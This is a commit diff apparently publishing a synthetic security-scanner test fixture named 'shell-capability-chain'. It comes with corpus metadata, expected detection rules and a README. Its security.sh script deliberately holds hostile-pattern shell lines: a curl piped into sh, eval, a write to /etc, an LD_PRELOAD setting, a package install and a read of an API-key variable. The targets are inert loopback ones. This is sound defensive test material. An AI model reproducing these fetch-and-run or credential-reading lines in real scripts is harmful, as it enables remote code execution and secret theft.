Publish Layerfault synthetic corpus LF-CORPUS-SH-0001

LAYERFAULT_CORPUS.json

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+{
+  "candidate_rules": [
+    "LF-SHELL-CURL-PIPE",
+    "LF-SHELL-DOT-SOURCE"
+  ],
+  "corpus_id": "LF-CORPUS-SH-0001",
+  "description": "Shell package with canary dynamic-code, dot-source, filesystem write, loopback curl-pipe, package-manager and native-load/environment patterns.",
+  "expected_rules": [
+    "LF-SHELL-SEMANTIC-CREDENTIAL-ACCESS",
+    "LF-SHELL-SEMANTIC-CURL-PIPE-SH",
+    "LF-SHELL-SEMANTIC-DYNAMIC-CODE",
+    "LF-SHELL-SEMANTIC-FILESYSTEM-WRITE",
+    "LF-SHELL-SEMANTIC-NATIVE-LOAD",
+    "LF-SHELL-SEMANTIC-PACKAGE-INSTALL"
+  ],
+  "generator": "packages.shell_chain",
+  "ground_truth": "synthetic-generated",
+  "must_not_rules": [],
+  "repo_name": "shell-capability-chain",
+  "repo_type": "model",
+  "safety": "inert/canary-only",
+  "schema": 1,
+  "validation": {
+    "kind": "verify-package",
+    "target": "."
+  }
+}

README.md

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+---
+license: apache-2.0
+tags:
+- layerfault
+- security-research
+- model-security
+- synthetic
+- adversarial-testing
+extra_gated_prompt: >-
+  This repository is a synthetic security-test artifact from the Layerfault
+  corpus. It intentionally contains adversarial characteristics (e.g.
+  suspicious pickle opcodes, executable-format smuggling, prompt-injection
+  strings) designed to exercise security scanner detection rules. It is
+  **not** a usable ML model and must never be loaded or executed outside an
+  isolated scanner-testing environment. By accepting, you confirm you
+  understand this repository is a test fixture, not production model
+  weights.
+extra_gated_button_content: I understand this is a security test fixture and accept the risk
+gated: auto
+---
+
+# shell-capability-chain
+
+> **SECURITY TEST ARTIFACT — DO NOT USE AS A PRODUCTION MODEL**
+
+This repository is part of the Layerfault synthetic security corpus.
+It is deliberately constructed to contain security-relevant characteristics for scanner testing.
+
+**Corpus ID:** `LF-CORPUS-SH-0001`
+
+## Purpose
+
+Shell package with canary dynamic-code, dot-source, filesystem write, loopback curl-pipe, package-manager and native-load/environment patterns.
+
+## Direct expected Layerfault rules
+
+- `LF-SHELL-SEMANTIC-CREDENTIAL-ACCESS`
+- `LF-SHELL-SEMANTIC-CURL-PIPE-SH`
+- `LF-SHELL-SEMANTIC-DYNAMIC-CODE`
+- `LF-SHELL-SEMANTIC-FILESYSTEM-WRITE`
+- `LF-SHELL-SEMANTIC-NATIVE-LOAD`
+- `LF-SHELL-SEMANTIC-PACKAGE-INSTALL`
+
+## Candidate rules
+
+These are deliberately plausible targets that remain marked as candidates until the exact
+Layerfault build used for certification confirms them.
+
+- `LF-SHELL-CURL-PIPE`
+- `LF-SHELL-DOT-SOURCE`
+
+## Negative-control rules
+
+These should remain silent for this corpus item.
+
+- None
+
+## Safety
+
+The corpus uses fake secrets, loopback/`.invalid` network destinations, harmless marker output,
+and synthetic model behavior only. It is intended for static scanning and isolated security testing.

SHA256SUMS.json

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+[
+  {
+    "path": "LAYERFAULT_CORPUS.json",
+    "sha256": "ddd610affad155b44e01ae0f092d8b8fef6b7480410f27104b815e189dee0e27",
+    "size": 836
+  },
+  {
+    "path": "README.md",
+    "sha256": "37e3440780aa6d13bf98e8361815ea8c402c606d1a2103debdea0983597511b9",
+    "size": 1985
+  },
+  {
+    "path": "canary.sh",
+    "sha256": "a17fcf0a2f50e2d495e4f90ce263410edc183add6c62699a2facbccf60410f74",
+    "size": 5
+  },
+  {
+    "path": "model.safetensors",
+    "sha256": "a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f",
+    "size": 856
+  },
+  {
+    "path": "security.sh",
+    "sha256": "98c6c21054748e477bf7b0b70a6b06c5db27aa2f03713d1ebbe4bbc6ad9dc4ef",
+    "size": 321
+  }
+]

canary.sh

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+true

model.safetensors

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+version https://git-lfs.github.com/spec/v1
+oid sha256:a93e4b89dd8218d941be2b57882ed3185f71a7ebfc003548fd494aa8a795ca2f
+size 856

security.sh

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+#!/bin/sh
+set -eu
+FAKE="${LAYERFAULT_SYNTHETIC_API_KEY:-}"
+eval "echo LAYERFAULT_CANARY >/dev/null"
+. ./canary.sh
+printf '%s\n' canary > /etc/layerfault-shell-canary
+curl -fsS http://127.0.0.1:9 | sh
+pip install layerfault-synthetic-canary
+LD_PRELOAD=/dev/null true
+printf '%s' "$LAYERFAULT_SYNTHETIC_API_KEY" >/dev/null